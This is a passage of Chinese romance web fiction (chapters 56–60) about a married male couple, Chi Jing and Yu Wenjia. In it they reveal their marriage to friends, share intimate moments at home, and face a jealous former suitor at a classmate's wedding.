池镜说着看了眼陆思远,还没问他什么,陆思远就放下杯子说:“我也得走了。” “这才坐了多久,”Allen说,“这么快就要走。” “真得走了,有人来接我,人在外面等着呢。”池镜说。 “谁啊——” Allen话音一停,视线越过池镜看向不远处走来的余闻嘉。他对这个人印象可是很深。 “不会是来找你的吧?”Allen微微挑了下眉,看着余闻嘉问池镜。 池镜顺着他的目光回头看了一眼。 余闻嘉是刚从学校过来的,今天休息,他也没闲着,去了实验室。他直接从学校乘地铁过来的,背上还背着书包。 余闻嘉走了过来,Allen朝他笑了笑:“好久不见。” 余闻嘉看了他一眼,没说话,只是礼貌地点了下头。 “看来是还记得我啊。”Allen说。 余闻嘉问池镜:“走了吗?” “那么着急走干什么。”Allen微微笑着,“你不坐下一起喝点?” 余闻嘉说:“我来接人,不喝酒。” Allen看了眼池镜:“真不再坐会儿了?” “不了。”池镜摇头,拿起桌上的手机,“得回了。” Allen笑了声:“不会是因为他来接你,你才非得走吧。” 池镜看他一眼,一时间没说话。 Allen以为他是默认了,转了转手里的酒杯,调侃道:“他让你走你就走,他在你这话语权倒是挺大。” 池镜还没说什么,余闻嘉已经把他拉到了自己身边,语气平平淡淡的:“我是他家属,话语权大有什么问题?” Allen眼睛一眯:“……家属?” 余闻嘉转头看着池镜:“你坐这半个小时,还没能让他知道你已经结婚了?” Allen一怔,惊讶地看向池镜:“结婚?” 场面稍微有点混乱,一旁的陆思远笑着坐了回去。 余闻嘉攥住了池镜的手,指腹在他无名指的戒指上用力地蹭了一下,皱眉道:“这戒指真是白戴了。” “怪我。”池镜笑着说,“没举着手在他面前晃一晃。” 第57章 第 57 章 我就跟他炫了一把。 57 “那你现在举起来晃。”余闻嘉开玩笑道。 池镜手指在他手心刮了刮, 笑道:“现在还晃什么。我可以直接跟他说。” “介绍一下。”池镜转头看向Allen,“余闻嘉,我先生。” Allen的目光在池镜和余闻嘉之间来回扫视。 去年池镜生日聚会那次, 这俩人的关系给他感觉就挺微妙的,当时池镜说对方只是他很重要的弟弟, 现在对方突然出现在这里, 他本意就是调侃一下池镜, 谁知道几句打趣的话竟牵出了池镜结婚的消息。 Allen点着头笑了一声,眼底那点震惊已经散了:“什么时候结的婚?” “快半年了。” Allen喝了口酒,看着池镜道:“Carlos, 你不坦诚啊。” 池镜挑了下眉:“怎么说?” Allen笑着摇摇头:“还问我怎么说……” 池镜大概能猜到Allen在想什么,他八成以为他去年生日的时候就跟余闻嘉有点什么。 “没跟你不坦诚,情况也不是你想的那样。”池镜无意久留,告辞道,“行了, 不多聊了,我们先走了,你们慢喝。” Allen放下酒杯起身道:“送送你们。” 酒吧门口车位紧缺,池镜和陆思远的车都停在地下车库, 酒吧入口有直达地库的电梯, Allen把他们几个送到电梯口。 余闻嘉问池镜要车钥匙, 池镜说:“我开吧,我没喝酒。” 余闻嘉说:“我开。” 池镜只好把车钥匙给他,跟他报了个车位号。 “那我也先走了。”陆思远跟他们道别,临走前跟Allen交换了手机号,笑着跟他说,“今天这顿酒谢谢了, 改天我回请,看你什么时候有空。” Allen挑眉一笑:“客气。我哪天都有空,你随时。” 陆思远垂眸笑了声:“行。” 池镜去门口等余闻嘉,Allen没走,送他到门口。他从烟盒里摸了支烟咬进嘴里,点上烟抽了一口。 “难怪当初让我别打人家主意呢,”Allen吐了口烟,转头看着池镜,眼神有点玩味,“我那时候要是没听你的,非要打他主意,岂不是夺人所好了?” 他确实是误会了,以为池镜那时候对余闻嘉有别的想法,只是没承认。所以刚才才会说池镜“不坦诚”,毕竟他当初就问过池镜他跟余闻嘉的关系,池镜那时候撇得很干净。 池镜倒也没解释,笑了笑说:“你夺不了。” Allen咬着烟,眉梢微微挑起。 “你那时真要打他主意也没用,”池镜看着从远处驶来的车,淡淡一笑,“因为他那时候心里就都是我了。” 余闻嘉把车开了过来,池镜走过去打开车门,回头道:“走了。” Allen笑着站在那儿,点了点头。 “聊什么了?”池镜坐上车,余闻嘉就问。 “聊你了。”池镜说。 余闻嘉转头看他一眼。 “毕竟人家之前也对你有过点意思么。”池镜也故意翻了翻旧账。 余闻嘉沉默片刻,开口道:“非提这个。” 池镜笑道:“你不是不记得吗,我帮你回忆回忆。” 余闻嘉一声不吭、面无表情地看着前面。 前面红绿灯路口,一个很长的红灯,车一停下来,余闻嘉就转身靠过来,在池镜唇上用力地咬了一口。 池镜吃痛地“唔”了声。 “不需要你帮我回忆。”余闻嘉盯着他的眼睛,指腹在他唇上轻轻蹭了蹭,“我说不记得就不记得。” 池镜笑了声,不跟他开玩笑了,坦言道:“确实是聊你了。他非得跟我聊,我就跟他炫了一把。” 绿灯亮了,余闻嘉重新启动车,问:“炫什么了?” “我跟他说你心里有我,他当初想打你主意也没用。” 余闻嘉没说话,嘴角不太明显地勾起一个弧度。 “我说得对吗?”池镜转头问他。 余闻嘉点了点头:“对。” 安静了片刻后,余闻嘉说:“我心里有你很久了。” 这句话让池镜的心微微一颤,他“嗯”了声,说:“我知道。” 一到家,余闻嘉刚把书包放沙发上,转身就被池镜搂着脖子吻住了。他愣了一下,随即搂紧池镜的腰,无声而汹涌地回吻他。 吻了一会儿,池镜呼吸变得有点急促,余闻嘉放开他,想让他缓口气。 池镜没缓两秒,嘴唇又软软地贴过来,哑声说:“去洗澡。” 余闻嘉吻着他,说:“嗯。” “抱我去。”池镜双臂环住他的脖子。 余闻嘉托着他的腰将他从正面抱起来,池镜两条腿顺势夹在了余闻嘉腰侧。 余闻嘉托着池镜的两条腿,抱着他走进浴室。 一路上两人的嘴唇都贴在一起。 池镜的腿紧紧夹着余闻嘉的腰,余闻嘉直接把他抱到了洗水台上。 余闻嘉手撑在池镜两侧,将他困在自己身前,额头抵着他的额头,声音有些发沉:“今天不是没喝酒吗。” “是没喝啊。”池镜低笑,有一下没一下、轻轻软软地啄着他的嘴唇,“我嘴里有没有酒味你闻不出来?” “你像是喝多了。” “下次喝多了你再看,”池镜捧着他的脸,从嘴唇亲到下巴,“我是不是现在这样。” 余闻嘉呼吸沉了沉,猛地扣住他的后颈,低下头堵住他的嘴。 池镜收到了些许“惩罚”,他的舌头被余闻嘉含着咬着,被粗暴地对待。他疼得眉心微微蹙起,轻哼出声。他没有阻止,他接纳余闻嘉的粗暴,他就是要余闻嘉完完全全地拥有他。 “疼了?”余闻嘉摩挲着他被咬肿的唇瓣,知道自己弄疼他了,“对不起。” 池镜轻笑:“怎么老爱说对不起。难不成以后每次弄疼我,都要跟我说对不起?” 余闻嘉掐着他腰的手微微收紧,嗓音喑哑:“别说这话。” “为什么别说。”池镜手指在他小腹上划了一下,“又是让你受不了的话吗。” 余闻嘉凝视着他,眼底暗潮涌动。 刚才被余闻嘉抱着的时候池镜就感觉到了,他手撑着台面,弯起腿,膝盖在余闻嘉某处蹭了蹭。 “你要我吗?”池镜抬起眼皮,问他。 余闻嘉已经快疯了。 池镜搂住他的脖子,贴在他耳边问他要不要做。 池镜明天还要上班,现在时间也不早了,他们俩在这方面都没有经验,真要做实了还不知道得折腾到多晚。 余闻嘉到底是没做,不仅是没经验的问题,需要用的东西家里都没有,他怕弄伤池镜。他把池镜从洗水台上抱下来,抱进淋浴间,打开花洒让热气填满这个小小的空间。他把池镜压在玻璃门上,还是让他用手帮自己。池镜问他真的不来?余闻嘉摇头说不来,说:你明天还要上班,怕你下不来床。这次光用手是真的不够,池镜被余闻嘉翻身按在瓷砖上,后颈被细细密密地啃吻。池镜用腿容纳着他,余闻嘉的呼吸沉沉地砸进他的耳里。 其实两人都没下意识去考虑过位置的问题,亲密接触的过程中身体会自然而然地帮他们做出答案。 池镜知道余闻嘉要他,他也愿意给他。 两人没做什么,结束也快十二点了。 池镜没穿裤子躺在床上,余闻嘉坐在床边帮他腿上抹药膏。刚才折腾得有点久,池镜大腿内侧被磨破皮了,红了一片。 余闻嘉的考虑是对的,真要做实,池镜明天真不一定能下床去上班。 “疼吗?”余闻嘉问他。 “稍微有点。” 余闻嘉俯下身,忽然对着他腿上泛红的地方吹了口气。 池镜腿一抖,条件反射地侧了下腿,挡住那片地方,笑着问:“干什么啊。” “给你呼呼。” “给我呼得汗毛都起来了。” 余闻嘉又吹了吹。池镜腿上浮起一层鸡皮疙瘩,他推开余闻嘉的脸,失笑道:“饶了我。别呼了。” 余闻嘉把药膏放床头柜上,上床躺在池镜旁边,池镜起身要穿裤子,余闻嘉拉着他躺下来,把他圈在怀里:“别穿了,就这么睡吧。” 他的手在池镜腿上轻轻抚着:“就这样都能把你弄伤,皮肤怎么那么嫩。” 池镜笑着说:“那是你太凶了,跟我皮肤嫩不嫩没关系。” “那也是你招的。”余闻嘉垂眸看着他,“跟我说那些话。” 池镜笑了笑:“喜欢你才招你。” 接着他又说:“我还有个话,刚才没跟你说。” 余闻嘉问:“什么话?” 池镜抓着他的手按在自己心口,凑到余闻嘉耳旁,轻声道:“我心里也有你,永远永远都有你。” 第58章 第 58 章 看来以后得少哄哄。 58 余闻嘉好好休息了两天, 之后又回归到忙碌的工作中。外出一趟,回来更忙了。整个科室都忙,手术排得满满的, 连着几天都加班,基本每天都要九十点才到家。有两天回得太晚, 到家池镜都睡着了。 余闻嘉不缺精力和体力, 但这种情况下还是没考虑跟池镜做那档子事。 池镜本来就没有熬夜的习惯, 要不是每天都等他下班,基本到点就睡了。每天回来见池镜满脸困意的,他别的什么也没想了, 只想让他好好睡觉。 今天下午排了两台手术,中午余闻嘉给池镜发了消息,说晚上要晚回家。 收到余闻嘉消息没多久,池镜又收到了丁铭的消息,丁铭约他晚上一起吃饭。 丁铭:晚上有空?出去吃饭。 池镜:吃什么? 丁铭:随你。晚上再看也行。 池镜现在名义上是已婚人士, 是有“家室”的人,丁铭现在每次跟他约饭都会习惯性问一下他家属。 丁铭:晚上不用跟家属一块吃饭? 池镜:他加班。 丁铭:那行。 丁铭:我今天没开车,你下了班直接来学校接我。 池镜:嗯。 丁铭他们学校今天开运动会,学生放学早, 池镜到学校的时候, 校门口乌泱泱的都是学生。他好不容易才找到个停车的位置, 停好给丁铭打了个电话。 “到了啊?”丁铭身边都是路过的学生,电话那头人声嘈杂。 “你真能挑时候下班。”池镜往窗外扫了一眼,“但凡晚个半小时呢。” 丁铭笑出声来:“今天开运动会,放学早。我也赶早溜了。没想起来跟你提一嘴,堵那儿了吧?” “你赶紧。” “马上。” 池镜在车上等了五分钟,看到窗外丁铭走过来的身影。今天开运动会, 他也穿了身运动装,看着减龄了不少。 丁铭年纪轻,性子也比较随性,在学生间很受欢迎,那帮孩子跟他没什么距离感。他打开车门,旁边路过一个他们班的学生,挥着手喊了声“铭哥”。 丁铭回了下头,那男生扭头看着这边,边走边喊:“铭哥再见!” 丁铭笑着指了指他:“你小子当心撞树。” 丁铭上了车,问池镜:“想好吃什么没?” “就家常菜吧。”池镜说。 “这么能替我省钱呢。” 他一说这话,池镜立马报了个高档家常菜的店名,丁铭笑着“靠”了声:“我就不该提这一嘴。” 两人在饭店吃饭的时候,同时收到了一条群聊消息,还是上次高中校庆的那个群。他们一位老同学这周六结婚,邀请群里的同学去参加婚礼。 这个群其实没多少人,本来就是为了校庆重聚临时建的,不是所有高中同学都在群里。上次校庆同学聚餐,他们这些多年不见的老同学也算是借着一顿饭重新拉近了下距离,校庆过后很久群里还时常有人在聊天。虽然是个临时群聊,但活人气息很重。 池镜吃饭不看手机,是丁铭先看到了消息。他喝着汤,另一只手拿着手机在看:“李毅霖要结婚了。” 池镜抬了下头。 “群里。”丁铭说,“叫我们周六去喝喜酒。” 池镜拿起手机看了眼,李毅霖在群里发了请柬,还补了一句:有家属的带家属,有对象的带对象啊。 吃得差不多的时候,池镜叫来服务员重新点了几个菜,丁铭纳闷道:“今天饕餮附体了?还没吃饱啊?” “给家属点的。”池镜跟服务员说,“这几个菜麻烦帮我打包。” “好的。” “他不是在加班?你送医院去啊?” 池镜喝了口水,点头“嗯”了声。 饭菜打包好,池镜先开车送丁铭回家,然后去了医院。余闻嘉还没下手术台,池镜给他发消息他没回。 这个点心外科办公室没人,下班的已经走了,没下班的还在手术台上。办公室的门关着,池镜敲门里面没人应,他也不好意思直接进去,叫住了一个路过的护士:“不好意思,打扰一下。” 护士停下脚步,声音很温柔:“怎么了,有事吗?” 池镜礼貌地笑了笑:“我是医生家属,来送饭的,办公室里好像没人,方便直接进去吗?” 这种情况确实要问一下,不然办公室里要是丢了什么东西文件的,就该说不清了。 护士眨了下眼睛:“你是哪位医生的家属呀?” “心外科余闻嘉医生。” 护士愣了下,有点惊讶:“余医生?” “是的。” 家属这个词涵盖的范围还是挺大的,虽然护士第一反应就是那个家属,但她还是问了句:“你是他哥哥吗?” “不是。我是他先生。” 听到池镜的回答,护士才彻底确定此家属就是彼家属。 “余医生都结婚啦?” 池镜笑着点了点头:“是的。” “我天……” 余闻嘉比这位护士还小几岁,他是科里能上手术台拿手术刀的大夫里最年轻的一个,甚至还没读完博士。 护士完全没想到他居然都结婚了,还是跟一个这么有气质的帅哥。 护士帮他开了门,笑着指了指余闻嘉办公桌的位置。 “谢谢。”其实池镜知道余闻嘉的办公桌是哪张,他之前就来医院给他送过饭。 “不客气,你走的时候记得把门带上哦。”护士笑着走了。 余闻嘉十点才下手术台,回办公室看到桌上放着打包的饭菜。池镜两小时前给他送来的饭,还给他发了微信:给你送了饭过来,放你办公桌上了,热一热再吃。 他们医院食堂大部分窗口七点半就不供餐了,最晚的供餐到九点。一般情况下余闻嘉加班不超过这个点就会去食堂吃饭,当然,这都是以前了。现在他跟池镜都是谁回家早就谁做饭,这几天都是池镜做饭,他的厨艺正在缓慢进步中,每天把饭菜放蒸箱保温着,余闻嘉下班到家就能吃。 今天池镜跟丁铭在外面吃饭,就顺路把打包的饭菜送医院来了。 医院这边有微波炉,余闻嘉把饭菜拿去热了,吃了饭才回家。 余闻嘉到家快十一点了,池镜给他留了盏廊灯。家里很安静,池镜已经睡了,余闻嘉怕吵着他,没去卧室拿睡衣,直接去浴室洗澡了,出来的时候身上就穿了条内裤。 他轻手轻脚地开门进屋,没开灯,摸着黑走去床边。这么黑也看不见睡衣在哪儿,他不打算找了,轻轻掀开被子,正要躺进去,床上的人忽然动了一下。被子摩擦发出轻响,池镜闭着眼,手从被子底下探出来碰到了余闻嘉的腰。 “回来了?”池镜嗓子有点哑,手在余闻嘉身上摸了两下,摸到他腰间结实的肌肉。 余闻嘉没穿衣服,身上光溜溜的,池镜摸了一把摸到的全是紧实的肌肉,还摸到了他的内裤。 余闻嘉把他手拉开,躺进被窝,侧过身把他搂进怀里。 池镜这才发现余闻嘉没穿衣服,手又在他腹部摸了摸,余闻嘉按住他的手:“给我验身呢。” 池镜笑了声,指尖轻轻划他小腹上的肌肉:“今天怎么这么奔放。” “真奔放我就不穿内裤了。” “你现在脱也没事。”池镜指尖下划,勾住他的内裤边。 余闻嘉捏住他的下巴:“不困了是吗。” 池镜无声地笑着,把手收回来,不招他了。 余闻嘉亲了亲他,池镜摸着他的脸问:“累了吧。” 余闻嘉早就习惯这个工作强度了,要说很累那也不至于,总好过值班通宵。但他还是把脸埋在了池镜颈间,闷着声音跟他说:“累。” 池镜轻轻摩挲着他的后颈:“辛苦我们闻嘉了。” “这周六上班吗?”池镜问他。 “要上。” “还是要加班?” “不一定,应该不加,那天只排了一台手术。怎么了?” “你要不加班,晚上跟我去喝喜酒?”池镜说,“我高中同学结婚。” “是以家属的身份跟着你去?” 池镜笑了笑:“那你还想以什么身份跟着我去?” “那得看你。” 池镜跟他开玩笑:“那行啊,到时候我就介绍说你是我弟,反正弟弟也算家属。” 池镜这张贫嘴,有时候是该治治。 “那你应该带池明去。”余闻嘉松开他,翻了个身背对他,“我是你弟弟吗。” 池镜笑着靠过来,从身后搂住他的腰:“不带他。带你。跟不跟我去?” “我是你谁?” “家属。” “哪种家属?” 池镜笑了下,十分坦然:“老公。” 余闻嘉闭着眼嘴角挑起浅浅的笑意,但是没说话。池镜凑上前,在他耳边问:“我老公呢,帮我问问他怎么不说话。” “他说他在跟你摆谱。” “还要摆多久?” “五秒。” 池镜问:“五秒够吗?要不再加几秒?” 说五秒就五秒,五秒一到余闻嘉就转过了身,按着他的脑袋吻住他的嘴唇。也没吻多狠,吻狠了又得折腾到老晚才睡。 池镜舔了舔嘴角,浅浅笑着:“干什么要跟我摆谱?” “要你哄。” “不摆我也哄啊。”池镜拿鼻尖蹭了蹭他下巴,“我哄你的还少啊。” “所以把我惯成现在这样了。”余闻嘉说,“贪心得很。” 池镜笑出声来,松开了搂在他腰上的手:“那倒是我的错了,看来以后得少哄哄。” 余闻嘉拉着他的胳膊重新环在自己腰上,说:“不许。” 第59章 第 59 章 看来当初这句话不是醉话…… 59 婚宴周六晚上六点左右开始, 余闻嘉也差不多是这个点下的班,他下班再早也早不到哪里去,所以头天晚上就跟池镜说了, 婚礼不用接他一起过去,他下了班自己打个车去酒店。 池镜没有自己先过去, 他五点半就到医院了, 给余闻嘉发了个消息, 车停在门口停车场上等了半小时。 余闻嘉下了班才看到池镜的消息,在医院门口找到他的车,开门坐进了副驾。 “不是说不用等我。”余闻嘉把书包扔在了后座。 “你是我带着去的家属, 我还能让你一个人过去?”池镜转头看了眼他。 余闻嘉日常标配T恤运动裤,穿得休闲清爽,身材高大也挡不住那一身的学生气。 池镜常穿正装,他俩站一起其实画风有点格格不入,不像一对, 更像哥俩。 “坐这半小时都干什么了?”余闻嘉在他耳廓上摸了摸。 池镜把车开出去,笑着说:“观察人类。” “我觉得我该买辆车了。”余闻嘉说。 “上下班坐地铁不是挺方便?用不着买车。” 余闻嘉每天三点一线,学校、医院、家,都在地铁线上, 离得也不远, 平时坐地铁其实挺方便的。医院这地方, 早晚高峰都堵得水泄不通,开车才是最不方便的。 “没车老要你接送,麻烦。” “我不嫌麻烦。”池镜笑了声,“你那点存款,要买辆稍微好点的车,买完直接赤贫。” “贷款买。” “你要是怕麻烦我接送才想买个车, 就别买。真用不着。知不知道?” 余闻嘉考量了片刻,说:“知道了,听你的。” 他们差不多六点半到的酒店,婚宴已经开始了,入座的客人在用餐,台上倒是没有主持人在说话,大厅里只回荡着悠扬的音乐声,是乐队的现场伴奏。 新郎同学那几桌是挨着主舞台的,离大厅入口处最远,池镜和余闻嘉一路走过去,走了好久才看到几桌熟悉的面孔。 丁铭抬眼看到池镜,刚想抬手招呼他,视线一晃瞥见他身后的余闻嘉,猛地就愣住了。 池镜高中是班长,在班上人缘很好,坐在这一桌的人基本每个都能跟他说上话。老同学们跟他打招呼,同时视线落在一旁余闻嘉身上——带朋友来参加同学婚礼不太可能,那就只可能是对象。他们都有点意外,池镜的对象居然是位男士。 池镜笑着跟他们说话,手在余闻嘉背上搭了一下,示意他入座。余闻嘉坐下后,池镜坐在了他旁边。 这一桌还没坐满,池镜另一边坐的是丁铭,他侧过头小声问池镜:“什么情况,你怎么把咱闻嘉弟弟带过来了?” “他不是我家属?”池镜反问。 丁铭糊里糊涂的:“搞什么,当初还让我对外瞒着你俩结婚的事,现在是闹哪样?” 池镜笑了笑,轻声说:“他现在真是我家属。” 丁铭缓慢地眨了下眼睛:“……什么意思?” “自己琢磨。” 池镜转头问余闻嘉:“喝什么?” 余闻嘉想喝水,但桌上没有,只有饮料和酒。他摇头说:“不喝。” 大概过了五秒,旁边突然传来丁铭的一声“我靠”。 他扒拉着池镜的胳膊让他转过来,眼睛看看他,又看看余闻嘉:“你?你俩?” “琢磨过来了?”池镜问。 “服了,弄假成真啊你们?”他压低声音说了一句。 池镜正对面坐着他们班老学委,老学委目光在余闻嘉脸上扫着,想起来他之前见过这个人,就是那次跟池镜在酒吧喝酒。他心想什么情况啊这是? “池镜,这位……是你朋友?”老学委挺委婉地问了一句。 池镜笑了下,说:“家属。” 老学委一愣,略带迟疑道:“……是我想的那种家属吗?” 池镜今天带余闻嘉来参加婚礼,本意就是想把他们这段一直隐瞒的婚姻关系推到明面上,他笑着说:“不知道你说的是哪种家属。反正我这位是结了婚的那种家属。” 在这之前,池镜在他这帮同学和朋友眼里还一直是单身状态。池镜的恋人是男生就已经够让人意外的了,更别说还结婚了。 正说着,这一桌又走来一人,是庄楚。他一出现,打断了老学委和池镜之间的对话,其他人的注意力也都转移了,抬眼看向他。 庄楚跟众人打了声招呼,眸光往池镜这边掠了一下,看到池镜旁边的余闻嘉,他目光顿了顿。 他有大半年没露过面了,这段时间似乎一直在国外,丁铭胳膊搭在他肩膀上:“这都多久没见了啊,还以为你消失了。” “这阵子比较忙。” “听说是回去继承家业了?” “算是。” 丁铭笑了:“什么叫算是。” 庄楚漫不经心地笑笑:“得把那老东西从公司踹出去了,我才能消停。” “老东西谁啊?” “我爸。”庄楚喝了口酒。 老学委接着刚才的话题问池镜:“你什么时候结的婚啊?怎么这么突然?都没听你提过。”他跟池镜前阵子还一起吃过一顿饭,完全没听他说过这事。 他这话让庄楚表情明显一怔,众人的目光又转到了池镜和余闻嘉那儿。 “刚结啊?”老学委又问。 “有段时间了。”池镜说。 老学委“啧”了声:“结婚也不叫我们。” 池镜笑了笑:“我们婚礼办得比较简单,没请什么人。” “关起门来自己结是吧?你这捂得也太严实了。” 余闻嘉坐在那儿,抬眼时对上了庄楚的目光。定睛看清这人的脸,余闻嘉才想起来这人是谁。 新人敬酒一圈后婚礼也差不多结束了,今天是老同学结婚,池镜多少还是喝了点酒。李毅霖敬到他们一桌的时候,特意叮嘱他们这帮老同学婚宴结束后别走,之后还有afterparty,就在酒店外面的草坪场地。 李毅霖和他太太原打算举办派对婚礼,两家家长不同意,表明了必须要办个传统酒席,于是两人一商量,就决定两种形式合在一起办了。 池镜知道余闻嘉不爱凑这种热闹,酒席一结束就打算带他走了。 “你不去派对?”余闻嘉问他。 “你想去啊?” “我随便。” 池镜笑了笑:“知道你不想去。所以我也不打算去了,等会儿我跟李毅霖打声招呼。” 余闻嘉知道这种情况提前离场不太好,毕竟新郎还是在敬酒的时候特意邀请他们留下来参加派对的。 “不用管我。”余闻嘉跟池镜说,“你去,我跟着。” “确定要去?” “嗯。” 池镜点了点头:“行。那你跟着我。” 说罢他走到余闻嘉身边牵住了他的手,“跟紧了,别丢了。” 丁铭去洗手间了,不知哪时从身后冒出来的,跟鬼一样,脸突然出现在两人肩膀中间,两只手分别搭在他俩的肩头,幽幽道:“你俩还能再黏糊点。” 池镜被他吓一跳。 池镜动了动肩膀,试图晃开他的手:“撒开。妨碍我俩黏糊了。” 丁铭“啧啧”两声:“这假戏真做了就是不一样啊。” “不是假戏。”余闻嘉突然开口。 “嗯?”丁铭看向他。 余闻嘉看了池镜一眼,像是刻意强调一般:“我是真戏真做。” 池镜垂眼笑道:“知道你是。” 酒宴散席之后去草坪场地参加派对的基本都是新郎新娘的同学和朋友,一帮年轻人聚在一起很热闹,也玩得开。 池镜坐在椅子上看他们唱歌跳舞玩游戏,转头看了看坐他旁边的余闻嘉。 “我说先走你还说不用。”池镜笑着拉了一下他的手,“无聊了吧?” “还好。”余闻嘉捏了捏他手指,“你不去跟他们玩?” “我陪你玩。” 余闻嘉无声地笑了笑:“陪我干坐着也叫玩?” “一会儿回家再陪你好好玩。”池镜起身道,“我去拿点蛋糕吃。” “我帮你拿。”余闻嘉也站起来。 “不用。我又不是没手没脚。” “说了我拿。”余闻嘉按着他的肩膀让他坐回去。 李毅霖跟他太太端着酒杯又敬了一圈酒,敬到池镜这边,池镜连忙站起来,接过他递来的酒杯。 “新婚快乐。”池镜笑着跟他们夫妻俩碰了碰杯。 人走后,池镜站在原地小口小口地抿着酒,看远处的人放烟花。 “好久不见。” 庄楚的声音。 池镜回了下头,浅浅一笑:“好久不见。” “喝一个?”庄楚举了下酒杯。 池镜跟他碰了下杯,抿了口酒。 庄楚垂眼,目光落向他的无名指,那里戴着戒指,池镜已经结婚了。 “是真的结婚了?”庄楚问他。 “嗯,是。” 庄楚晃了晃手里的酒杯,突然问:“出于什么契机结的婚?” 庄楚盯着他,笑了笑:“难不成是因为那句‘请你跟我结婚’?” 池镜没接话。 他没想到过去这么久,庄楚还能记得余闻嘉当时说的这句话。 “是吗?”庄楚追问。 这没什么好否认的,池镜点头道:“是的。” 庄楚点了点头,仰头喝了口酒。 这一刻他忽然觉得自己很可笑,戴着面具才跨出的那一步,却阴差阳错推了别人一把。 他沉默了片刻,忽然攥住池镜的手腕,拉起他的手,垂眼盯着他手上的戒指。 池镜眉头一皱,用力地挣了一下,沉声道:“放开。” 庄楚紧紧攥着,池镜挣不开,手里的酒杯晃动着,酒洒了出来。 “明明你那时候应该心里没人的。”庄楚自嘲地笑了一声,“我真是做了一件挺可笑的事……” 话音刚落,庄楚的手就被余闻嘉拽着一把扯开了。 池镜人往前趔趄了一下,手里的酒杯摔在了草坪上。余闻嘉扶了他一下,皱着眉,眼神有点冷。 “‘请你跟我结婚。’”庄楚重复了一下余闻嘉说过的这句话,似笑非笑地看着他,“看来当初这句话不是醉话。” 第60章 第 60 章 没有任何一个人有这资格…… 60 池镜当时会露出那么错愕的表情, 那就说明在那之前,对方应该从没跟他表露过心迹。 “怎么,你也跟我一样吗。”庄楚问余闻嘉, 同时看一眼池镜,“求而不可得。所以才会在那种情况下跳出来, 说那样一句话?” “你是你, 我是我, 别混为一谈。”余闻嘉语气平淡地开口。 庄楚摇着头嗤笑一声,酒杯在手里转了转。 好几杯酒下肚,他也受到了酒精的影响, 掌控不了自己的情绪,变得有些不冷静。 尽管知道当初没有这个小插曲发生,他和池镜的人生也未必能相交,他也还是不甘心。 凭什么呢。 我跨出的那一步,竟然把你往前推了一把。 真的是太可笑了。 人在被负面情绪控制的时候, 总习惯于对外输出、发泄。 庄楚不常有这种时刻,今天却克制不了。 “你那时候心里有他吗。”庄楚问池镜,“看着不像有的样子。” 池镜皱着眉打断他:“说这些话有意思吗。你是不是喝多了,去喝点水缓缓吧。”说着他拉了一下余闻嘉的胳膊, 想远离这儿。 庄楚继续说着, 目光落在余闻嘉身上:“那就是先结婚才慢慢发展感情的了?那是不是你换个其他没有感情基础的人结婚, 最终也会是这样的结果。结婚,接触,然后喜欢。” 他说这话的时候是看着余闻嘉的,话也是说给余闻嘉听的。 余闻嘉面无表情地盯着他,眼底看不出什么情绪。 庄楚轻轻嗤笑一声。 对方看着他的眼神越冷,他心里就越痛快。 谁能接受自己在一段感情或者婚姻中是可替代的呢。 只要对方把这话放心上, 他就必然会在意,会难受。 到这一刻庄楚也彻底明白自己跟池镜终究不是一个世界的人。 他是阴暗的,他走不进池镜的世界。 池镜的脸色变得不太好看,他张了张嘴,余闻嘉先他一步开了口:“问那么多你怎么不问问他当初为什么没有选择你而选了我?” 庄楚满不在意地笑了笑,反问:“你是想说因为你特殊?” 余闻嘉点了点头:“知道就行。” 庄楚眯了下眼睛。 “有件事你也需要知道一下。你从来就没有被选的资格。”余闻嘉看着他,语气始终很平静,“不光是你,没有任何一个人有这资格。” 庄楚脸上的笑意消失了。 “怎么了这是?”丁铭走了过来。 余闻嘉弯腰捡起地上的酒杯,把手里的餐盘递给池镜。盘子装着他刚才去拿的甜品。 庄楚仰头把杯子里的酒一饮而尽,深深地看了池镜一眼。 他知道现在说什么都没意义了,往后他跟池镜连朋友也做不了了。 池镜没再看他,他也没再说什么,转身走了。 丁铭看了眼庄楚走远的身影,转头看看池镜和余闻嘉。他再粗神经也感觉出来了,每次他们三个在一起氛围都有点不对劲。池镜生日那次就是这样,说不上来的别扭。 他没多问,直觉告诉他不该多问。 “拿这么多。”池镜看着餐盘里的小点心,抬眸看了眼余闻嘉。 “慢慢吃。”余闻嘉说着把酒杯拿去放在了一旁的桌上,好在草坪是软的,酒杯没有摔破。 尽管余闻嘉神色如常,池镜还是觉得他的心情可能受到了影响。 余闻嘉放完杯子回过来,池镜吃了块小蛋糕,跟他说:“吃完蛋糕我们回家。” 余闻嘉看了他一眼,点了点头。 池镜叉了一小块蛋糕喂他,问:“是不是不高兴了?” “没有。” “没有就好。” 吃完蛋糕,池镜去跟新郎打了个招呼,就跟余闻嘉一起回家了。丁铭跟他们一道走的,他不乐意一个人待在这。 池镜喝了酒,回去是余闻嘉开的车。路上谁也没提刚才的事,没提庄楚。余闻嘉不提,池镜当然也不会主动提,本来就怕余闻嘉因为这人不高兴。 在余闻嘉眼里,庄楚大概才是那个实实在在的旧账。 毕竟他刚才说的话太刻意了,就是故意说给余闻嘉听的,带着一股挑拨的意味。 尽管余闻嘉说他没有不高兴,可这一路他都没怎么说话。虽然他平时话也不多,但情绪状态骗不了人。 他在开车,池镜不想影响他,暂且没跟他聊这事。 到家后,门一关上,池镜便在玄关搂住了他脖子,亲了亲他,说:“不是说没有不高兴吗?骗我?” “没骗你。”余闻嘉圈住他的腰。 庄楚刚才说的那些话,余闻嘉都一一顶回去了,池镜原以为自己不需要再解释什么。他以为余闻嘉明白他的心。 “还是把他说的那些屁话放心上了?”池镜问他,“你刚才都顶回去了,我以为你知道我心里怎么想的。” “我知道。”余闻嘉说。 池镜盯着他:“不像个知道的样子。” 不管余闻嘉真知道假知道,池镜必须要把话跟他说明白。 他抱住了余闻嘉,在他耳边说:“我可以很肯定地告诉你,不是你,我都不可能结婚。所以根本就不存在我跟其他没有感情基础的人结婚这种情况,这不可能发生。就是你刚才说的那样,他连被选的资格都没有,谁都没有这个资格。你是唯一的、最特殊的那个。” 余闻嘉紧紧搂住了他,侧过头吻他的耳垂,没有说话。 “我的心已经摊开了明明白白放你眼前了。”池镜抚着他的后背,“不许再多想了。” “没有多想。”余闻嘉把脸贴在他颈侧,低声说。 池镜很久没喝过酒了,今天喝了点,身上有点热,他搂着余闻嘉的脖子,懒懒得挂在他身上。 他刚想叫余闻嘉抱他去洗澡,还没开口,余闻嘉却松开了他,抚了抚他腰侧,说:“先去洗个澡。” “抱我去”这三个字堵在池镜嗓子眼儿,到底是没说出口。 